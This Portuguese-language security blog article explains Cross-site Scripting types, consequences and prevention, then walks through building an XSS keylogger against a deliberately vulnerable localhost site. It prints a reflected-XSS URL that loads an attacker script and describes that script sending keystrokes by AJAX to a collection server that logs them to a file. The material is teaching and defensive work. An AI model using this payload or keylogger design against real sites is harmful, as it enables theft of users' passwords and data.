Nos dias que correm, Cross-site Scripting (XSS, facilmente confundido com CSS) é dos ataques mais preocupantes e perigosos. Uma vulnerabilidade XSS quando explorada por um profissional de segurança ou um atacante hábil torna-se bastante poderosa.
De maneira a simplificar o estudo deste tipo de ataques, o artigo será dividido em diferentes secções enumeradas a seguir:
- Visão Global do Artigo.
- O que é XSS.
- Injeção de Código JavaScript.
- O que é Código Malicioso JavaScript.
- Quais as consequências de Código JavaScript Malicioso.
- Tipos de Ataque XSS.
- Prevenção contra XSS.
- Experiência Prática: Criação de um Keylogger XSS.
- Sumário.
Visão Global do Artigo
O presente artigo oferece ao leitor todos os tópicos de real interesse sobre o ataque XSS, que é um dos ataques sobejamente empregue em aplicações web-based e catalogado no Top 10 de vulnerabilidades segundo a OWASP [1]. Na primeira metade do artigo é feita uma identificação e descrição do XSS, quais as suas consequências e o campo de ataque onde normalmente este predador habita. Em seguida, são descritos os tipos de ataques, isto é, algumas das suas possíveis derivações, e paralelamente uma solução para combate-las. Por fim, de forma a consolidar o conteúdo disponibilizado é apresentado um tutorial passo-a-passo de como elaborar um keylogger (JavaScript) via esquema XSS.
O que é XSS?
Cross-site Scripting (XSS) é um ataque de injeção de código que permite executar código JavaScript pré-computado num browser. O nome dado ao(s) outro(s) browser(s) dependendo da dimensão do ataque é o de vitima(s). Neste tipo de esquemas, o atacante não “ataca” diretamente a vítima, este apenas encontra uma falta ou falha num sistema, e.g. uma página web, infeta o sistema e o browser da vítima interpreta o código JavaScript pré-computado pelo atacante. Neste ponto, cabe ao atacante ser habilidoso e elaborar um script com o foco bem definido.
Injeção de Código JavaScript
Uma forma de um atacante correr o código malicioso JavaScript no browser da vítima é injetá-lo numa das páginas web que a vítima visita com regularidade. Este é um cenário possível caso a página web alvo seja permissiva em demasia na verificação das entradas de dados fornecidas pelos utilizadores. Um exemplo disso é por exemplo um feed de notícias, onde um utilizador escreve uma notícia e essa é salvaguardada na base de dados e apresentada de seguida a todos os utilizadores da página web.
Como é possível observar acima, o atacante em vez de digitar uma mensagem vulgar, e.g. “Olá boa tarde pato!”, digitou determinado código JavaScript. Este acaba por se renomear malicioso devido ao seu objetivo e carater. Quando o browser da vítima executar esse código JavaScript é despoletado o ataque.
O que é Código Malicioso JavaScript
De forma genérica, é código JavaScript talhado para agir de forma anormal, com o intuito de obter informações legítimas e autenticas de forma maliciosa, sem que a vítima se aperceba da ocorrência de tal facto. Quando este tipo de códigos são injetados via browser podem causar consequências e danos incalculáveis. No entanto, a possibilidade de código JavaScript ser malicioso torna-se mais claro quando se consideram os seguintes factos:
- JavaScript possuí acesso a algumas informações confidenciais do utilizador, como os cookies.
- JavaScript pode enviar determinados pedidos para determinadas direções, normalmente com destino marcado para C&C Servers (Command-and-Control Servers).
- JavaScript pode alterar o conteúdo da página a apresentar ao utilizador (vítima) usando métodos de manipulação DOM (Document Object Model).
Quando é evidente uma vulnerabilidade numa página web, e estes factos combinam, o resultado só pode ser desastroso.
Quais as consequências de Código JavaScript Malicioso
Entre muitas outras coisas, a capacidade de o atacante executar código arbitrário no browser da vítima permite-lhe concretizar as diferentes abordagens abaixo citadas:
- Cookies theft: O atacante pode aceder aos cookies da vítima e obter informações importantes como sessions ID.
- Keylogging: O atacante poderá catalogar os dados introduzidos pela vítima através do evento AddEventListener, e obter informações como palavras-passe e números de cartão de crédito. Referir que muitos trojans bankers usam uma abordagem semelhante, instalando nas diretorias dos browsers ficheiros maliciosos do tipo JavaScript, como é o caso do trojan banker tinba. Esse ficheiro tem como finalidade transmitir e obter informações das páginas do browser, até mesmo fazendo o trabalho de um keylogger. Lembrar, que no final do artigo serão explicados os passos básicos de como projetar e elaborar um keylogger da mesma família dos mencionados acima.
- Phishing: O atacante pode inserir um formulário de autenticação falso na página via DOM, e.g., uma página de autenticação maliciosa sobreposto ao formulário legítimo, e desta maneira enviesar a vítima a colocar a sua palavra-passe.
Este último método acaba por ser o mais usado por script kiddies e indivíduos com poucos conhecimentos de programação e da área de segurança informática. No entanto, é dos mais perigosos e não é necessário saber elaborar um esquema complexo para que seja edificado um ataque com um carater bastante severo.
Tipos de Ataque XSS
Antes de ser descrito o modo de funcionamento de um ataque do tipo XSS convém identificar os seus intervenientes, neste caso, os atores.
O cenário apresentado acima corresponde de maneira genérica ao esqueleto básico de qualquer ataque da família XSS. Conjeturando a existência de um sistema permissivo a XSS (do lado direito), este fica imediatamente catalogado como vulnerável a investidas maliciosas. Os dois atores humanos deste esquema é a vítima, normalmente apelidada de “Good guy”, e o atacante também ele chamado de “Bad Guy”. Em todos os cenários possíveis de XSS, o atacante injeta código malicioso no sistema vulnerável. Nesse momento, qualquer utilizador que lhe aceda via browser será infetado. A consequência dependerá sempre do tipo de ataque despoletado pelo atacante.
i) Como disferir um Ataque via Cookies
Um dos tipos de ataque XSS sobejamente empregues é a exploração dos cookies. Algures na página web infetada o atacante introduziu um código similar ao apresentado em seguida:
Analisando o pequeno trecho de código malicioso, este redireciona a vítima para uma página suspeita, enviando juntamento o cookie, que agrega a variável de sessão. É uma célebre técnica de phishing, que permite ao atacante, por exemplo, clonar a sessão da vítima no seu browser. Com este tipo de ataque é possível ganhar privilégios sobre o sistema, caso esta seja um dos administradores do sistema e este não detenha mecanismos de segurança apropriados.
Em seguida, é apresentada de forma detalhada um tipo de ataque XSS.
Este é o cenário mais comum de XSS. Um atacante fazendo uso da sua extrema habilidade consegue instaurar um trecho de código malicioso na base de dados do sistema (web page). Os passos identificados na imagem são enumerados de seguida:
- O atacante usa um formulário permissivo para adicionar o trecho malicioso na base de dados.
- A vítima solicita um pedido da página ao servidor.
- O servidor recebe o pedido e envia a página infetada à vítima.
- O browser da vítima recebe o pedido, executa o código malicioso e envia o cookie ao atacante.
A este tipo de ataque costuma chamar-se Persistence XSS, visto que o código malicioso resulta da base de dados.
Os tipos de ataques mais comuns são os seguintes:
- Persistence XSS: Onde o trecho de código malicioso provém da base de dados do sistema.
- Reflected XSS: Onde o trecho de código malicioso tem origem no pedido solicitado pela vítima (esquemas de phishing via URL).
- DOM-Based XSS: A vulnerabilidade permanece no client-side e não no server-side.
Ataques refletidos de XSS (Reflected XSS) têm origem na sua maioria em esquemas de phishing. Quando o atacante descortina uma vulnerabilidade de injeção no sistema alvo, este projeta um esquema altamente elaborado, que visa ludibriar as vítimas com URLs falsificados. A bem dizer, esse URL apenas anexa uma string maliciosa que poderá ser fatal.
Relativamente a ataques DOM-Based, estes são os mais elaborados. O código fonte da página é alterado, e apenas (por norma) somente sofre essa alteração quando o atacante assim o desejar. Por exemplo, o atacante altera a hiperligação de uma imagem na página web para uma página maliciosa. Perceber que todas estas alterações maliciosas são efetuadas no browser do cliente. Hoje em dia é um dos ataques em voga, visto que com os avanços tecnológicos muitos sistemas acabam por correr na sua maioria no client-side requisitando apenas alguns pedidos ao servidor via AJAX.
Prevenção Contra XSS
De forma a agilizar a tarefa de proteção de um sistema contra ataques XSS, o desenvolvedor do sistema terá forçosamente de adotar uma programação defensiva. Normalmente esta programação defensiva passa pela verificação dos dados de entrada e de saída no sistema, e.g., verificação do input do utilizador no formulário de registo.A maior causa do Persistence e Reflected XSS tem a ver com os pedidos efetuados ao sistema, estes não detêm qualquer tipo de verificação, portanto torna-se fácil projetar esquemas altamente elaborados e com isso ludibriar os utilizadores que acreditam de forma “religiosa” no sistema.
Algumas das verificações arcaicas para prevenção deste ataque são:
- Limitar o tamanho do campo a ser introduzido pelo utilizador.
- Definir o grupo de carateres aceites pelo sistema (fazendo uso de expressões regulares). Neste ponto convém prestar atenção, deve ser sempre definido o grupo de carateres aceites pelo sistema e não o inverso (os carateres poderão ser injetados numa outra representação).
- Este tipo de verificação deve ser sempre efetuada tanto no client-side como no server-side. Caso não o seja, a string maliciosa poderá ser redefinida posteriormente num proxy de rede local.
Relativamente aos dados de saída, sempre que o sistema escrever qualquer código JavaScript este deve ser sempre codificado em HTML para tratar potenciais carateres (ou códigos) maliciosos. Isto garante que o browser irá escrever o código malicioso de uma forma não maliciosa, tratando-o como parte do documento HTML. Alguns dos carateres conhecidos são por exemplo:
- ” → "
- ‘ → '
- & → &
- < → <
- > → >
Algumas funções que fazem este tipo de tarefas em PHP são a função “htmlspecialchars” e “htmlentities”. Em ASP.NET existe por exemplo a função “Server.HTMLEncode”. Reparar, que estas são apenas um exemplo.
Em seguida é apresentada a componente prática deste artigo, designadamente como tirar partido de uma vulnerabilidade deste calibre.
Criação de um Keylogger XSS
De forma a salientar o conhecimento adquirido ao longo do artigo, é elaborado de seguida, um script malicioso em JavaScript (XSS). O cenário ideal para a experiencia idealizada é descrito em seguida.
Cenário: Os intervenientes da experiência são: (i) uma página web, (ii) o atacante; (iii) e a vítima. O sistema web é infetado com código XSS. Este pode ser de carater Reflected, onde são usadas normalmente técnicas de phishing para difundir o URL malicioso. Quando o código for interpretado no browser da vítima este tem o efeito de keylogger e regista todas as entradas do teclado enviando-as via AJAX para o C&C Server do atacante. Na verdade, este também é um ataque DOM-Based XSS, daí ser hábito dizer-se que é uma extensão dos ataques Persistence and Reflected XSS.
A página web (o site) é apresentado na imagem abaixo.
É uma página web com um excelente aspeto, mas com vulnerabilidades propositadas, nomeadamente na caixa de pesquisa destacada em seguida.
A caixa de texto acima destacada corresponde ao módulo “pesquisar neste site”. A maioria dos sistemas apresenta uma das primeiras vulnerabilidades neste campo. Se forem introduzidos alguns valores e o pedido for submetido, o resultado é o seguinte.
O utilizador introduziu a palavra “pato” na caixa de texto. Esta é destacada na página com a mensagem: “Content not found: pato” e também no URL da página:
“http://localhost/xss/site/index.php?op=search&a=pato”.
Bom, para um atacante habilidoso este poderá ser um cenário a explorar.
Após alguns dias de pesquisa na Internet (heheh) o atacante descobre o seguinte:
O atacante alterou o URL via browser. Deixou de ter o endereço (i) e passou a ter o endereço (ii).
(i): http://localhost/xss/site/index.php?op=search&a=pato
(ii): http://localhost/xss/site/index.php?op=search&a=pato_alterado_no_url
Bom, após esta investida positiva ele decidiu elaborar um script bastante ambicioso, um keylogger. No entanto, para os menos crentes, a página PHP “search.php” possuí o seguinte código:
A variável “$conteudo” é obtida diretamente do URL, não é feito qualquer tipo de verificação server-side de entrada (lembra-se disso?) e é escrita diretamente no HTML sem qualquer tratamento adicional (também se lembra disto?).
Passados alguns dias e meses, o atacante lembrou-se de um brilhante esquema, um keylogger. Comprou um alojamento e um domínio para elaborar este tipo de esquemas via Internet. A seguinte imagem retrata o modo de funcionamento do esquema planeado pelo atacante.
Ao analisar o esquema idealizado pelo atacante fico a duvidar das minhas capacidades de planear um esquema semelhante em menos de um mês. No entanto é algo simples de perceber. Atentando os marcadores descritos em seguida:
- O atacante descobre a vulnerabilidade no site e envia através de um esquema de phishing, e.g. via e-mail, o URL da página adulterado à vítima.
- A vítima ao abrir o e-mail atenta o endereço (este até poderá ser encurtado e deixado com um aspeto “apetitoso”: https://goo.gl/) e requisita um pedido à página web.
- Esta como não faz qualquer verificação de segurança emite uma resposta maliciosa a vítima já com o código malicioso contido entre as tags <html>.
- Visto que a vítima já recebeu a resposta do servidor e o código malicioso já foi interpretado e corrido pelo seu browser, agora sempre que este digitar algo via teclado (e.g. palavra-passe da página) o conteúdo é enviado de forma instantânea através de AJAX para o C&C Server monitorizado pelo atacante.
Em termos práticos, isto significa o atacante alterar o URL acima mencionado (index.php?op=search&a=pato_alterado_no_url) pelo código XSS pré-computado.
O atacante elaborou um script XSS e faz a sua inclusão via URL. O browser ao receber e interpretar o pedido comunica com o servidor do atacante e executa o código contido no ficheiro “evil.js”. O código deste ficheiro não é nada mais, nada menos, que um script para capturar todas as entradas do teclado e emiti-las via AJAX.
Como é possível constatar, a informação é enviada via HTTP POST para um ficheiro de nome “cc_server.php”. Por outro lado, este ficheiro cria (caso ainda não exista) um ficheiro com o nome “gift.txt” e adiciona todos os dados introduzidos no teclado pela vítima nesse ficheiro.
Mais uma vez, é possível observar a simplicidade do código. Este escreve num ficheiro de texto os dados recebidos por parte da vítima via POST. (Nota: Convém criar o ficheiro de logs manualmente e definir as suas permissões, e.g. chmod 777 gift.txt .)
Cenário Final:
O atacante envia o seguinte endereço à vítima.
http://localhost/xss/site/index.php?op=search&a=<script src=”http://localhost/xss/attacker/evil.js”></script>
A vítima recebe-o e abre o endereço no seu browser.
É possível identificar através do marcador número 1 o URL malicioso. Como esperado, no resultado da pesquisa não foi digitado qualquer tipo de texto, visto que o script não debita qualquer string. Por fim, conjeturando a possibilidade de no marcador 3 aquela caixa de texto ser o formulário de autenticação, essa informação é enviada para o atacante.
Passado algumas horas, ou até dias, visto que o atacante é uma pessoa bastante ocupada no seu dia-a-dia, este foi dar uma olhada ao servidor que comprou há uns meses atrás.
Bom, este teve uma tamanha surpresa ao ver o ficheiro de logs. Concluir que é sempre necessário tomar todas as providências e verificar a legitimidade dos serviços que consultamos com regularidade.
Bundle da experiência prática para download.
Sumário
Visão Geral sobre XSS
– XSS é um tipo de ataque que se tornou possível através da manipulação insegura das entradas de dados do utilizador.
-Um ataque XSS bem-sucedido, permite ao atacante executar código malicioso no browser da vítima.
-Um ataque XSS bem-sucedido, compromete a segurança dos servidos e dos seus utilizadores.
Visão Geral sobre ataques XSS
Os três tipos de ataques mais comuns são:
–Persistence XSS: Este é oriundo da base de dados do sistema.
–Reflected XSS: Quando o código malicioso tem origem num pedido efetuado pela vítima.
–Dom Based XSS: Quando a vulnerabilidade está no client-side e não no server-side.
Visão Geral sobre Prevenção XSS
-Limitar o tamanho do campo de dados.
-Verificar as entradas de dados.
-Verificar as saídas de dados.
(Mencionar que existem bastante mecanismos de prevenção, cabe ao leitor explorar um pouco mais sobre o assunto.)
Referências:
[1] https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project#tab=OWASP_Top_10_for_2013
Pedro Tavares is a professional in the field of information security working as an Ethical Hacker/Pentester, Malware Researcher and also a Security Evangelist. He is also a founding member at CSIRT.UBI and Editor-in-Chief of the security computer blog seguranca-informatica.pt.
In recent years he has invested in the field of information security, exploring and analyzing a wide range of topics, such as pentesting (Kali Linux), malware, exploitation, hacking, IoT and security in Active Directory networks. He is also Freelance Writer (Infosec. Resources Institute and Cyber Defense Magazine) and developer of the 0xSI_f33d – a feed that compiles phishing and malware campaigns targeting Portuguese citizens.
Read more here.